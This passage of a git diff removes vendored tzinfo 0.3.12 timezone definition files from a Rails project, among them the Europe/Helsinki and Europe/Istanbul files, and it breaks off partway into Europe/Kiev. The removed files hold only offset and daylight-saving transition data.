-          tz.transition 1934, 4, :o5, 29130595, 12
-          tz.transition 1934, 10, :o3, 29132611, 12
-          tz.transition 1935, 4, :o5, 29134879, 12
-          tz.transition 1935, 10, :o3, 29136979, 12
-          tz.transition 1936, 4, :o5, 29139331, 12
-          tz.transition 1936, 10, :o3, 29141347, 12
-          tz.transition 1937, 4, :o5, 29143699, 12
-          tz.transition 1937, 10, :o3, 29145715, 12
-          tz.transition 1938, 4, :o5, 29147983, 12
-          tz.transition 1938, 10, :o3, 29150083, 12
-          tz.transition 1939, 4, :o5, 29152435, 12
-          tz.transition 1939, 11, :o3, 29155039, 12
-          tz.transition 1940, 2, :o5, 29156215, 12
-          tz.transition 1946, 10, :o3, 58370389, 24
-          tz.transition 1947, 3, :o5, 29187127, 12
-          tz.transition 1947, 11, :o3, 58379797, 24
-          tz.transition 1948, 4, :o5, 29191915, 12
-          tz.transition 1948, 10, :o3, 29194267, 12
-          tz.transition 1949, 4, :o5, 29196115, 12
-          tz.transition 1949, 10, :o3, 29198635, 12
-          tz.transition 1950, 4, :o5, 29200651, 12
-          tz.transition 1950, 10, :o3, 29202919, 12
-          tz.transition 1951, 4, :o5, 29205019, 12
-          tz.transition 1951, 10, :o3, 29207287, 12
-          tz.transition 1952, 4, :o5, 29209471, 12
-          tz.transition 1952, 10, :o3, 29211739, 12
-          tz.transition 1953, 4, :o5, 29213839, 12
-          tz.transition 1953, 10, :o3, 29215855, 12
-          tz.transition 1954, 4, :o5, 29218123, 12
-          tz.transition 1954, 10, :o3, 29220223, 12
-          tz.transition 1955, 4, :o5, 29222575, 12
-          tz.transition 1955, 10, :o3, 29224591, 12
-          tz.transition 1956, 4, :o5, 29227027, 12
-          tz.transition 1956, 10, :o3, 29229043, 12
-          tz.transition 1957, 4, :o5, 29231311, 12
-          tz.transition 1957, 10, :o3, 29233411, 12
-          tz.transition 1958, 4, :o5, 29235763, 12
-          tz.transition 1958, 10, :o3, 29237779, 12
-          tz.transition 1959, 4, :o5, 29240131, 12
-          tz.transition 1959, 10, :o3, 29242147, 12
-          tz.transition 1960, 4, :o5, 29244415, 12
-          tz.transition 1960, 10, :o3, 29246515, 12
-          tz.transition 1961, 3, :o5, 29248615, 12
-          tz.transition 1961, 10, :o3, 29251219, 12
-          tz.transition 1962, 3, :o5, 29252983, 12
-          tz.transition 1962, 10, :o3, 29255587, 12
-          tz.transition 1963, 3, :o5, 29257435, 12
-          tz.transition 1963, 10, :o3, 29259955, 12
-          tz.transition 1964, 3, :o5, 29261719, 12
-          tz.transition 1964, 10, :o3, 29264323, 12
-          tz.transition 1965, 3, :o5, 29266087, 12
-          tz.transition 1965, 10, :o3, 29268691, 12
-          tz.transition 1966, 3, :o5, 29270455, 12
-          tz.transition 1966, 10, :o3, 29273059, 12
-          tz.transition 1967, 3, :o5, 29274823, 12
-          tz.transition 1967, 10, :o3, 29277511, 12
-          tz.transition 1968, 2, :o5, 29278855, 12
-          tz.transition 1968, 10, :o6, 58563755, 24
-          tz.transition 1971, 10, :o3, 57722400
-          tz.transition 1972, 3, :o5, 69818400
-          tz.transition 1972, 10, :o3, 89172000
-          tz.transition 1973, 3, :o5, 101268000
-          tz.transition 1973, 10, :o3, 120621600
-          tz.transition 1974, 3, :o5, 132717600
-          tz.transition 1974, 10, :o3, 152071200
-          tz.transition 1975, 3, :o5, 164167200
-          tz.transition 1975, 10, :o3, 183520800
-          tz.transition 1976, 3, :o5, 196221600
-          tz.transition 1976, 10, :o3, 214970400
-          tz.transition 1977, 3, :o5, 227671200
-          tz.transition 1977, 10, :o3, 246420000
-          tz.transition 1978, 3, :o5, 259120800
-          tz.transition 1978, 10, :o3, 278474400
-          tz.transition 1979, 3, :o5, 290570400
-          tz.transition 1979, 10, :o3, 309924000
-          tz.transition 1980, 3, :o5, 322020000
-          tz.transition 1980, 10, :o3, 341373600
-          tz.transition 1981, 3, :o5, 354675600
-          tz.transition 1981, 10, :o3, 372819600
-          tz.transition 1982, 3, :o5, 386125200
-          tz.transition 1982, 10, :o3, 404269200
-          tz.transition 1983, 3, :o5, 417574800
-          tz.transition 1983, 10, :o3, 435718800
-          tz.transition 1984, 3, :o5, 449024400
-          tz.transition 1984, 10, :o3, 467773200
-          tz.transition 1985, 3, :o5, 481078800
-          tz.transition 1985, 10, :o3, 499222800
-          tz.transition 1986, 3, :o5, 512528400
-          tz.transition 1986, 10, :o3, 530672400
-          tz.transition 1987, 3, :o5, 543978000
-          tz.transition 1987, 10, :o3, 562122000
-          tz.transition 1988, 3, :o5, 575427600
-          tz.transition 1988, 10, :o3, 593571600
-          tz.transition 1989, 3, :o5, 606877200
-          tz.transition 1989, 10, :o3, 625626000
-          tz.transition 1990, 3, :o5, 638326800
-          tz.transition 1990, 10, :o3, 657075600
-          tz.transition 1991, 3, :o5, 670381200
-          tz.transition 1991, 10, :o3, 688525200
-          tz.transition 1992, 3, :o5, 701830800
-          tz.transition 1992, 10, :o3, 719974800
-          tz.transition 1993, 3, :o5, 733280400
-          tz.transition 1993, 10, :o3, 751424400
-          tz.transition 1994, 3, :o5, 764730000
-          tz.transition 1994, 10, :o3, 782874000
-          tz.transition 1995, 3, :o5, 796179600
-          tz.transition 1995, 10, :o3, 814323600
-          tz.transition 1996, 3, :o5, 828234000
-          tz.transition 1996, 10, :o3, 846378000
-          tz.transition 1997, 3, :o5, 859683600
-          tz.transition 1997, 10, :o3, 877827600
-          tz.transition 1998, 3, :o5, 891133200
-          tz.transition 1998, 10, :o3, 909277200
-          tz.transition 1999, 3, :o5, 922582800
-          tz.transition 1999, 10, :o3, 941331600
-          tz.transition 2000, 3, :o5, 954032400
-          tz.transition 2000, 10, :o3, 972781200
-          tz.transition 2001, 3, :o5, 985482000
-          tz.transition 2001, 10, :o3, 1004230800
-          tz.transition 2002, 3, :o5, 1017536400
-          tz.transition 2002, 10, :o3, 1035680400
-          tz.transition 2003, 3, :o5, 1048986000
-          tz.transition 2003, 10, :o3, 1067130000
-          tz.transition 2004, 3, :o5, 1080435600
-          tz.transition 2004, 10, :o3, 1099184400
-          tz.transition 2005, 3, :o5, 1111885200
-          tz.transition 2005, 10, :o3, 1130634000
-          tz.transition 2006, 3, :o5, 1143334800
-          tz.transition 2006, 10, :o3, 1162083600
-          tz.transition 2007, 3, :o5, 1174784400
-          tz.transition 2007, 10, :o3, 1193533200
-          tz.transition 2008, 3, :o5, 1206838800
-          tz.transition 2008, 10, :o3, 1224982800
-          tz.transition 2009, 3, :o5, 1238288400
-          tz.transition 2009, 10, :o3, 1256432400
-          tz.transition 2010, 3, :o5, 1269738000
-          tz.transition 2010, 10, :o3, 1288486800
-          tz.transition 2011, 3, :o5, 1301187600
-          tz.transition 2011, 10, :o3, 1319936400
-          tz.transition 2012, 3, :o5, 1332637200
-          tz.transition 2012, 10, :o3, 1351386000
-          tz.transition 2013, 3, :o5, 1364691600
-          tz.transition 2013, 10, :o3, 1382835600
-          tz.transition 2014, 3, :o5, 1396141200
-          tz.transition 2014, 10, :o3, 1414285200
-          tz.transition 2015, 3, :o5, 1427590800
-          tz.transition 2015, 10, :o3, 1445734800
-          tz.transition 2016, 3, :o5, 1459040400
-          tz.transition 2016, 10, :o3, 1477789200
-          tz.transition 2017, 3, :o5, 1490490000
-          tz.transition 2017, 10, :o3, 1509238800
-          tz.transition 2018, 3, :o5, 1521939600
-          tz.transition 2018, 10, :o3, 1540688400
-          tz.transition 2019, 3, :o5, 1553994000
-          tz.transition 2019, 10, :o3, 1572138000
-          tz.transition 2020, 3, :o5, 1585443600
-          tz.transition 2020, 10, :o3, 1603587600
-          tz.transition 2021, 3, :o5, 1616893200
-          tz.transition 2021, 10, :o3, 1635642000
-          tz.transition 2022, 3, :o5, 1648342800
-          tz.transition 2022, 10, :o3, 1667091600
-          tz.transition 2023, 3, :o5, 1679792400
-          tz.transition 2023, 10, :o3, 1698541200
-          tz.transition 2024, 3, :o5, 1711846800
-          tz.transition 2024, 10, :o3, 1729990800
-          tz.transition 2025, 3, :o5, 1743296400
-          tz.transition 2025, 10, :o3, 1761440400
-          tz.transition 2026, 3, :o5, 1774746000
-          tz.transition 2026, 10, :o3, 1792890000
-          tz.transition 2027, 3, :o5, 1806195600
-          tz.transition 2027, 10, :o3, 1824944400
-          tz.transition 2028, 3, :o5, 1837645200
-          tz.transition 2028, 10, :o3, 1856394000
-          tz.transition 2029, 3, :o5, 1869094800
-          tz.transition 2029, 10, :o3, 1887843600
-          tz.transition 2030, 3, :o5, 1901149200
-          tz.transition 2030, 10, :o3, 1919293200
-          tz.transition 2031, 3, :o5, 1932598800
-          tz.transition 2031, 10, :o3, 1950742800
-          tz.transition 2032, 3, :o5, 1964048400
-          tz.transition 2032, 10, :o3, 1982797200
-          tz.transition 2033, 3, :o5, 1995498000
-          tz.transition 2033, 10, :o3, 2014246800
-          tz.transition 2034, 3, :o5, 2026947600
-          tz.transition 2034, 10, :o3, 2045696400
-          tz.transition 2035, 3, :o5, 2058397200
-          tz.transition 2035, 10, :o3, 2077146000
-          tz.transition 2036, 3, :o5, 2090451600
-          tz.transition 2036, 10, :o3, 2108595600
-          tz.transition 2037, 3, :o5, 2121901200
-          tz.transition 2037, 10, :o3, 2140045200
-          tz.transition 2038, 3, :o5, 59172253, 24
-          tz.transition 2038, 10, :o3, 59177461, 24
-          tz.transition 2039, 3, :o5, 59180989, 24
-          tz.transition 2039, 10, :o3, 59186197, 24
-          tz.transition 2040, 3, :o5, 59189725, 24
-          tz.transition 2040, 10, :o3, 59194933, 24
-          tz.transition 2041, 3, :o5, 59198629, 24
-          tz.transition 2041, 10, :o3, 59203669, 24
-          tz.transition 2042, 3, :o5, 59207365, 24
-          tz.transition 2042, 10, :o3, 59212405, 24
-          tz.transition 2043, 3, :o5, 59216101, 24
-          tz.transition 2043, 10, :o3, 59221141, 24
-          tz.transition 2044, 3, :o5, 59224837, 24
-          tz.transition 2044, 10, :o3, 59230045, 24
-          tz.transition 2045, 3, :o5, 59233573, 24
-          tz.transition 2045, 10, :o3, 59238781, 24
-          tz.transition 2046, 3, :o5, 59242309, 24
-          tz.transition 2046, 10, :o3, 59247517, 24
-          tz.transition 2047, 3, :o5, 59251213, 24
-          tz.transition 2047, 10, :o3, 59256253, 24
-          tz.transition 2048, 3, :o5, 59259949, 24
-          tz.transition 2048, 10, :o3, 59264989, 24
-          tz.transition 2049, 3, :o5, 59268685, 24
-          tz.transition 2049, 10, :o3, 59273893, 24
-          tz.transition 2050, 3, :o5, 59277421, 24
-          tz.transition 2050, 10, :o3, 59282629, 24
-        end
-      end
-    end
-  end
-end
diff --git a/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Europe/Helsinki.rb b/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Europe/Helsinki.rb
deleted file mode 100644
index 13a806bc..00000000
--- a/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Europe/Helsinki.rb
+++ /dev/null
@@ -1,163 +0,0 @@
-require 'tzinfo/timezone_definition'
-
-module TZInfo
-  module Definitions
-    module Europe
-      module Helsinki
-        include TimezoneDefinition
-        
-        timezone 'Europe/Helsinki' do |tz|
-          tz.offset :o0, 5992, 0, :LMT
-          tz.offset :o1, 5992, 0, :HMT
-          tz.offset :o2, 7200, 0, :EET
-          tz.offset :o3, 7200, 3600, :EEST
-          
-          tz.transition 1878, 5, :o1, 25997062651, 10800
-          tz.transition 1921, 4, :o2, 26166352651, 10800
-          tz.transition 1942, 4, :o3, 29165429, 12
-          tz.transition 1942, 10, :o2, 19445083, 8
-          tz.transition 1981, 3, :o3, 354675600
-          tz.transition 1981, 9, :o2, 370400400
-          tz.transition 1982, 3, :o3, 386125200
-          tz.transition 1982, 9, :o2, 401850000
-          tz.transition 1983, 3, :o3, 417574800
-          tz.transition 1983, 9, :o2, 433299600
-          tz.transition 1984, 3, :o3, 449024400
-          tz.transition 1984, 9, :o2, 465354000
-          tz.transition 1985, 3, :o3, 481078800
-          tz.transition 1985, 9, :o2, 496803600
-          tz.transition 1986, 3, :o3, 512528400
-          tz.transition 1986, 9, :o2, 528253200
-          tz.transition 1987, 3, :o3, 543978000
-          tz.transition 1987, 9, :o2, 559702800
-          tz.transition 1988, 3, :o3, 575427600
-          tz.transition 1988, 9, :o2, 591152400
-          tz.transition 1989, 3, :o3, 606877200
-          tz.transition 1989, 9, :o2, 622602000
-          tz.transition 1990, 3, :o3, 638326800
-          tz.transition 1990, 9, :o2, 654656400
-          tz.transition 1991, 3, :o3, 670381200
-          tz.transition 1991, 9, :o2, 686106000
-          tz.transition 1992, 3, :o3, 701830800
-          tz.transition 1992, 9, :o2, 717555600
-          tz.transition 1993, 3, :o3, 733280400
-          tz.transition 1993, 9, :o2, 749005200
-          tz.transition 1994, 3, :o3, 764730000
-          tz.transition 1994, 9, :o2, 780454800
-          tz.transition 1995, 3, :o3, 796179600
-          tz.transition 1995, 9, :o2, 811904400
-          tz.transition 1996, 3, :o3, 828234000
-          tz.transition 1996, 10, :o2, 846378000
-          tz.transition 1997, 3, :o3, 859683600
-          tz.transition 1997, 10, :o2, 877827600
-          tz.transition 1998, 3, :o3, 891133200
-          tz.transition 1998, 10, :o2, 909277200
-          tz.transition 1999, 3, :o3, 922582800
-          tz.transition 1999, 10, :o2, 941331600
-          tz.transition 2000, 3, :o3, 954032400
-          tz.transition 2000, 10, :o2, 972781200
-          tz.transition 2001, 3, :o3, 985482000
-          tz.transition 2001, 10, :o2, 1004230800
-          tz.transition 2002, 3, :o3, 1017536400
-          tz.transition 2002, 10, :o2, 1035680400
-          tz.transition 2003, 3, :o3, 1048986000
-          tz.transition 2003, 10, :o2, 1067130000
-          tz.transition 2004, 3, :o3, 1080435600
-          tz.transition 2004, 10, :o2, 1099184400
-          tz.transition 2005, 3, :o3, 1111885200
-          tz.transition 2005, 10, :o2, 1130634000
-          tz.transition 2006, 3, :o3, 1143334800
-          tz.transition 2006, 10, :o2, 1162083600
-          tz.transition 2007, 3, :o3, 1174784400
-          tz.transition 2007, 10, :o2, 1193533200
-          tz.transition 2008, 3, :o3, 1206838800
-          tz.transition 2008, 10, :o2, 1224982800
-          tz.transition 2009, 3, :o3, 1238288400
-          tz.transition 2009, 10, :o2, 1256432400
-          tz.transition 2010, 3, :o3, 1269738000
-          tz.transition 2010, 10, :o2, 1288486800
-          tz.transition 2011, 3, :o3, 1301187600
-          tz.transition 2011, 10, :o2, 1319936400
-          tz.transition 2012, 3, :o3, 1332637200
-          tz.transition 2012, 10, :o2, 1351386000
-          tz.transition 2013, 3, :o3, 1364691600
-          tz.transition 2013, 10, :o2, 1382835600
-          tz.transition 2014, 3, :o3, 1396141200
-          tz.transition 2014, 10, :o2, 1414285200
-          tz.transition 2015, 3, :o3, 1427590800
-          tz.transition 2015, 10, :o2, 1445734800
-          tz.transition 2016, 3, :o3, 1459040400
-          tz.transition 2016, 10, :o2, 1477789200
-          tz.transition 2017, 3, :o3, 1490490000
-          tz.transition 2017, 10, :o2, 1509238800
-          tz.transition 2018, 3, :o3, 1521939600
-          tz.transition 2018, 10, :o2, 1540688400
-          tz.transition 2019, 3, :o3, 1553994000
-          tz.transition 2019, 10, :o2, 1572138000
-          tz.transition 2020, 3, :o3, 1585443600
-          tz.transition 2020, 10, :o2, 1603587600
-          tz.transition 2021, 3, :o3, 1616893200
-          tz.transition 2021, 10, :o2, 1635642000
-          tz.transition 2022, 3, :o3, 1648342800
-          tz.transition 2022, 10, :o2, 1667091600
-          tz.transition 2023, 3, :o3, 1679792400
-          tz.transition 2023, 10, :o2, 1698541200
-          tz.transition 2024, 3, :o3, 1711846800
-          tz.transition 2024, 10, :o2, 1729990800
-          tz.transition 2025, 3, :o3, 1743296400
-          tz.transition 2025, 10, :o2, 1761440400
-          tz.transition 2026, 3, :o3, 1774746000
-          tz.transition 2026, 10, :o2, 1792890000
-          tz.transition 2027, 3, :o3, 1806195600
-          tz.transition 2027, 10, :o2, 1824944400
-          tz.transition 2028, 3, :o3, 1837645200
-          tz.transition 2028, 10, :o2, 1856394000
-          tz.transition 2029, 3, :o3, 1869094800
-          tz.transition 2029, 10, :o2, 1887843600
-          tz.transition 2030, 3, :o3, 1901149200
-          tz.transition 2030, 10, :o2, 1919293200
-          tz.transition 2031, 3, :o3, 1932598800
-          tz.transition 2031, 10, :o2, 1950742800
-          tz.transition 2032, 3, :o3, 1964048400
-          tz.transition 2032, 10, :o2, 1982797200
-          tz.transition 2033, 3, :o3, 1995498000
-          tz.transition 2033, 10, :o2, 2014246800
-          tz.transition 2034, 3, :o3, 2026947600
-          tz.transition 2034, 10, :o2, 2045696400
-          tz.transition 2035, 3, :o3, 2058397200
-          tz.transition 2035, 10, :o2, 2077146000
-          tz.transition 2036, 3, :o3, 2090451600
-          tz.transition 2036, 10, :o2, 2108595600
-          tz.transition 2037, 3, :o3, 2121901200
-          tz.transition 2037, 10, :o2, 2140045200
-          tz.transition 2038, 3, :o3, 59172253, 24
-          tz.transition 2038, 10, :o2, 59177461, 24
-          tz.transition 2039, 3, :o3, 59180989, 24
-          tz.transition 2039, 10, :o2, 59186197, 24
-          tz.transition 2040, 3, :o3, 59189725, 24
-          tz.transition 2040, 10, :o2, 59194933, 24
-          tz.transition 2041, 3, :o3, 59198629, 24
-          tz.transition 2041, 10, :o2, 59203669, 24
-          tz.transition 2042, 3, :o3, 59207365, 24
-          tz.transition 2042, 10, :o2, 59212405, 24
-          tz.transition 2043, 3, :o3, 59216101, 24
-          tz.transition 2043, 10, :o2, 59221141, 24
-          tz.transition 2044, 3, :o3, 59224837, 24
-          tz.transition 2044, 10, :o2, 59230045, 24
-          tz.transition 2045, 3, :o3, 59233573, 24
-          tz.transition 2045, 10, :o2, 59238781, 24
-          tz.transition 2046, 3, :o3, 59242309, 24
-          tz.transition 2046, 10, :o2, 59247517, 24
-          tz.transition 2047, 3, :o3, 59251213, 24
-          tz.transition 2047, 10, :o2, 59256253, 24
-          tz.transition 2048, 3, :o3, 59259949, 24
-          tz.transition 2048, 10, :o2, 59264989, 24
-          tz.transition 2049, 3, :o3, 59268685, 24
-          tz.transition 2049, 10, :o2, 59273893, 24
-          tz.transition 2050, 3, :o3, 59277421, 24
-          tz.transition 2050, 10, :o2, 59282629, 24
-        end
-      end
-    end
-  end
-end
diff --git a/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Europe/Istanbul.rb b/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Europe/Istanbul.rb
deleted file mode 100644
index 8306c475..00000000
--- a/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Europe/Istanbul.rb
+++ /dev/null
@@ -1,218 +0,0 @@
-require 'tzinfo/timezone_definition'
-
-module TZInfo
-  module Definitions
-    module Europe
-      module Istanbul
-        include TimezoneDefinition
-        
-        timezone 'Europe/Istanbul' do |tz|
-          tz.offset :o0, 6952, 0, :LMT
-          tz.offset :o1, 7016, 0, :IMT
-          tz.offset :o2, 7200, 0, :EET
-          tz.offset :o3, 7200, 3600, :EEST
-          tz.offset :o4, 10800, 3600, :TRST
-          tz.offset :o5, 10800, 0, :TRT
-          
-          tz.transition 1879, 12, :o1, 26003326531, 10800
-          tz.transition 1910, 9, :o2, 26124610523, 10800
-          tz.transition 1916, 4, :o3, 29051813, 12
-          tz.transition 1916, 9, :o2, 19369099, 8
-          tz.transition 1920, 3, :o3, 29068937, 12
-          tz.transition 1920, 10, :o2, 19380979, 8
-          tz.transition 1921, 4, :o3, 29073389, 12
-          tz.transition 1921, 10, :o2, 19383723, 8
-          tz.transition 1922, 3, :o3, 29077673, 12
-          tz.transition 1922, 10, :o2, 19386683, 8
-          tz.transition 1924, 5, :o3, 29087021, 12
-          tz.transition 1924, 9, :o2, 19392475, 8
-          tz.transition 1925, 4, :o3, 29091257, 12
-          tz.transition 1925, 9, :o2, 19395395, 8
-          tz.transition 1940, 6, :o3, 29157725, 12
-          tz.transition 1940, 10, :o2, 19439259, 8
-          tz.transition 1940, 11, :o3, 29159573, 12
-          tz.transition 1941, 9, :o2, 19442067, 8
-          tz.transition 1942, 3, :o3, 29165405, 12
-          tz.transition 1942, 10, :o2, 19445315, 8
-          tz.transition 1945, 4, :o3, 29178569, 12
-          tz.transition 1945, 10, :o2, 19453891, 8
-          tz.transition 1946, 5, :o3, 29183669, 12
-          tz.transition 1946, 9, :o2, 19456755, 8
-          tz.transition 1947, 4, :o3, 29187545, 12
-          tz.transition 1947, 10, :o2, 19459707, 8
-          tz.transition 1948, 4, :o3, 29191913, 12
-          tz.transition 1948, 10, :o2, 19462619, 8
-          tz.transition 1949, 4, :o3, 29196197, 12
-          tz.transition 1949, 10, :o2, 19465531, 8
-          tz.transition 1950, 4, :o3, 29200685, 12
-          tz.transition 1950, 10, :o2, 19468499, 8
-          tz.transition 1951, 4, :o3, 29205101, 12
-          tz.transition 1951, 10, :o2, 19471419, 8
-          tz.transition 1962, 7, :o3, 29254325, 12
-          tz.transition 1962, 10, :o2, 19503563, 8
-          tz.transition 1964, 5, :o3, 29262365, 12
-          tz.transition 1964, 9, :o2, 19509355, 8
-          tz.transition 1970, 5, :o3, 10533600
-          tz.transition 1970, 10, :o2, 23835600
-          tz.transition 1971, 5, :o3, 41983200
-          tz.transition 1971, 10, :o2, 55285200
-          tz.transition 1972, 5, :o3, 74037600
-          tz.transition 1972, 10, :o2, 87339600
-          tz.transition 1973, 6, :o3, 107910000
-          tz.transition 1973, 11, :o2, 121219200
-          tz.transition 1974, 3, :o3, 133920000
-          tz.transition 1974, 11, :o2, 152676000
-          tz.transition 1975, 3, :o3, 165362400
-          tz.transition 1975, 10, :o2, 183502800
-          tz.transition 1976, 5, :o3, 202428000
-          tz.transition 1976, 10, :o2, 215557200
-          tz.transition 1977, 4, :o3, 228866400
-          tz.transition 1977, 10, :o2, 245797200
-          tz.transition 1978, 4, :o3, 260316000
-          tz.transition 1978, 10, :o4, 277246800
-          tz.transition 1979, 10, :o5, 308779200
-          tz.transition 1980, 4, :o4, 323827200
-          tz.transition 1980, 10, :o5, 340228800
-          tz.transition 1981, 3, :o4, 354672000
-          tz.transition 1981, 10, :o5, 371678400
-          tz.transition 1982, 3, :o4, 386121600
-          tz.transition 1982, 10, :o5, 403128000
-          tz.transition 1983, 7, :o4, 428446800
-          tz.transition 1983, 10, :o5, 433886400
-          tz.transition 1985, 4, :o3, 482792400
-          tz.transition 1985, 9, :o2, 496702800
-          tz.transition 1986, 3, :o3, 512524800
-          tz.transition 1986, 9, :o2, 528249600
-          tz.transition 1987, 3, :o3, 543974400
-          tz.transition 1987, 9, :o2, 559699200
-          tz.transition 1988, 3, :o3, 575424000
-          tz.transition 1988, 9, :o2, 591148800
-          tz.transition 1989, 3, :o3, 606873600
-          tz.transition 1989, 9, :o2, 622598400
-          tz.transition 1990, 3, :o3, 638323200
-          tz.transition 1990, 9, :o2, 654652800
-          tz.transition 1991, 3, :o3, 670374000
-          tz.transition 1991, 9, :o2, 686098800
-          tz.transition 1992, 3, :o3, 701823600
-          tz.transition 1992, 9, :o2, 717548400
-          tz.transition 1993, 3, :o3, 733273200
-          tz.transition 1993, 9, :o2, 748998000
-          tz.transition 1994, 3, :o3, 764722800
-          tz.transition 1994, 9, :o2, 780447600
-          tz.transition 1995, 3, :o3, 796172400
-          tz.transition 1995, 9, :o2, 811897200
-          tz.transition 1996, 3, :o3, 828226800
-          tz.transition 1996, 10, :o2, 846370800
-          tz.transition 1997, 3, :o3, 859676400
-          tz.transition 1997, 10, :o2, 877820400
-          tz.transition 1998, 3, :o3, 891126000
-          tz.transition 1998, 10, :o2, 909270000
-          tz.transition 1999, 3, :o3, 922575600
-          tz.transition 1999, 10, :o2, 941324400
-          tz.transition 2000, 3, :o3, 954025200
-          tz.transition 2000, 10, :o2, 972774000
-          tz.transition 2001, 3, :o3, 985474800
-          tz.transition 2001, 10, :o2, 1004223600
-          tz.transition 2002, 3, :o3, 1017529200
-          tz.transition 2002, 10, :o2, 1035673200
-          tz.transition 2003, 3, :o3, 1048978800
-          tz.transition 2003, 10, :o2, 1067122800
-          tz.transition 2004, 3, :o3, 1080428400
-          tz.transition 2004, 10, :o2, 1099177200
-          tz.transition 2005, 3, :o3, 1111878000
-          tz.transition 2005, 10, :o2, 1130626800
-          tz.transition 2006, 3, :o3, 1143327600
-          tz.transition 2006, 10, :o2, 1162076400
-          tz.transition 2007, 3, :o3, 1174784400
-          tz.transition 2007, 10, :o2, 1193533200
-          tz.transition 2008, 3, :o3, 1206838800
-          tz.transition 2008, 10, :o2, 1224982800
-          tz.transition 2009, 3, :o3, 1238288400
-          tz.transition 2009, 10, :o2, 1256432400
-          tz.transition 2010, 3, :o3, 1269738000
-          tz.transition 2010, 10, :o2, 1288486800
-          tz.transition 2011, 3, :o3, 1301187600
-          tz.transition 2011, 10, :o2, 1319936400
-          tz.transition 2012, 3, :o3, 1332637200
-          tz.transition 2012, 10, :o2, 1351386000
-          tz.transition 2013, 3, :o3, 1364691600
-          tz.transition 2013, 10, :o2, 1382835600
-          tz.transition 2014, 3, :o3, 1396141200
-          tz.transition 2014, 10, :o2, 1414285200
-          tz.transition 2015, 3, :o3, 1427590800
-          tz.transition 2015, 10, :o2, 1445734800
-          tz.transition 2016, 3, :o3, 1459040400
-          tz.transition 2016, 10, :o2, 1477789200
-          tz.transition 2017, 3, :o3, 1490490000
-          tz.transition 2017, 10, :o2, 1509238800
-          tz.transition 2018, 3, :o3, 1521939600
-          tz.transition 2018, 10, :o2, 1540688400
-          tz.transition 2019, 3, :o3, 1553994000
-          tz.transition 2019, 10, :o2, 1572138000
-          tz.transition 2020, 3, :o3, 1585443600
-          tz.transition 2020, 10, :o2, 1603587600
-          tz.transition 2021, 3, :o3, 1616893200
-          tz.transition 2021, 10, :o2, 1635642000
-          tz.transition 2022, 3, :o3, 1648342800
-          tz.transition 2022, 10, :o2, 1667091600
-          tz.transition 2023, 3, :o3, 1679792400
-          tz.transition 2023, 10, :o2, 1698541200
-          tz.transition 2024, 3, :o3, 1711846800
-          tz.transition 2024, 10, :o2, 1729990800
-          tz.transition 2025, 3, :o3, 1743296400
-          tz.transition 2025, 10, :o2, 1761440400
-          tz.transition 2026, 3, :o3, 1774746000
-          tz.transition 2026, 10, :o2, 1792890000
-          tz.transition 2027, 3, :o3, 1806195600
-          tz.transition 2027, 10, :o2, 1824944400
-          tz.transition 2028, 3, :o3, 1837645200
-          tz.transition 2028, 10, :o2, 1856394000
-          tz.transition 2029, 3, :o3, 1869094800
-          tz.transition 2029, 10, :o2, 1887843600
-          tz.transition 2030, 3, :o3, 1901149200
-          tz.transition 2030, 10, :o2, 1919293200
-          tz.transition 2031, 3, :o3, 1932598800
-          tz.transition 2031, 10, :o2, 1950742800
-          tz.transition 2032, 3, :o3, 1964048400
-          tz.transition 2032, 10, :o2, 1982797200
-          tz.transition 2033, 3, :o3, 1995498000
-          tz.transition 2033, 10, :o2, 2014246800
-          tz.transition 2034, 3, :o3, 2026947600
-          tz.transition 2034, 10, :o2, 2045696400
-          tz.transition 2035, 3, :o3, 2058397200
-          tz.transition 2035, 10, :o2, 2077146000
-          tz.transition 2036, 3, :o3, 2090451600
-          tz.transition 2036, 10, :o2, 2108595600
-          tz.transition 2037, 3, :o3, 2121901200
-          tz.transition 2037, 10, :o2, 2140045200
-          tz.transition 2038, 3, :o3, 59172253, 24
-          tz.transition 2038, 10, :o2, 59177461, 24
-          tz.transition 2039, 3, :o3, 59180989, 24
-          tz.transition 2039, 10, :o2, 59186197, 24
-          tz.transition 2040, 3, :o3, 59189725, 24
-          tz.transition 2040, 10, :o2, 59194933, 24
-          tz.transition 2041, 3, :o3, 59198629, 24
-          tz.transition 2041, 10, :o2, 59203669, 24
-          tz.transition 2042, 3, :o3, 59207365, 24
-          tz.transition 2042, 10, :o2, 59212405, 24
-          tz.transition 2043, 3, :o3, 59216101, 24
-          tz.transition 2043, 10, :o2, 59221141, 24
-          tz.transition 2044, 3, :o3, 59224837, 24
-          tz.transition 2044, 10, :o2, 59230045, 24
-          tz.transition 2045, 3, :o3, 59233573, 24
-          tz.transition 2045, 10, :o2, 59238781, 24
-          tz.transition 2046, 3, :o3, 59242309, 24
-          tz.transition 2046, 10, :o2, 59247517, 24
-          tz.transition 2047, 3, :o3, 59251213, 24
-          tz.transition 2047, 10, :o2, 59256253, 24
-          tz.transition 2048, 3, :o3, 59259949, 24
-          tz.transition 2048, 10, :o2, 59264989, 24
-          tz.transition 2049, 3, :o3, 59268685, 24
-          tz.transition 2049, 10, :o2, 59273893, 24
-          tz.transition 2050, 3, :o3, 59277421, 24
-          tz.transition 2050, 10, :o2, 59282629, 24
-        end
-      end
-    end
-  end
-end
diff --git a/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Europe/Kiev.rb b/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Europe/Kiev.rb
deleted file mode 100644
index 513d3308..00000000
--- a/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Europe/Kiev.rb
+++ /dev/null
@@ -1,168 +0,0 @@
-require 'tzinfo/timezone_definition'
-
-module TZInfo
-  module Definitions
-    module Europe
-      module Kiev
-        include TimezoneDefinition
-        
-        timezone 'Europe/Kiev' do |tz|
-          tz.offset :o0, 7324, 0, :LMT
-          tz.offset :o1, 7324, 0, :KMT
-          tz.offset :o2, 7200, 0, :EET
-          tz.offset :o3, 10800, 0, :MSK
-          tz.offset :o4, 3600, 3600, :CEST
-          tz.offset :o5, 3600, 0, :CET
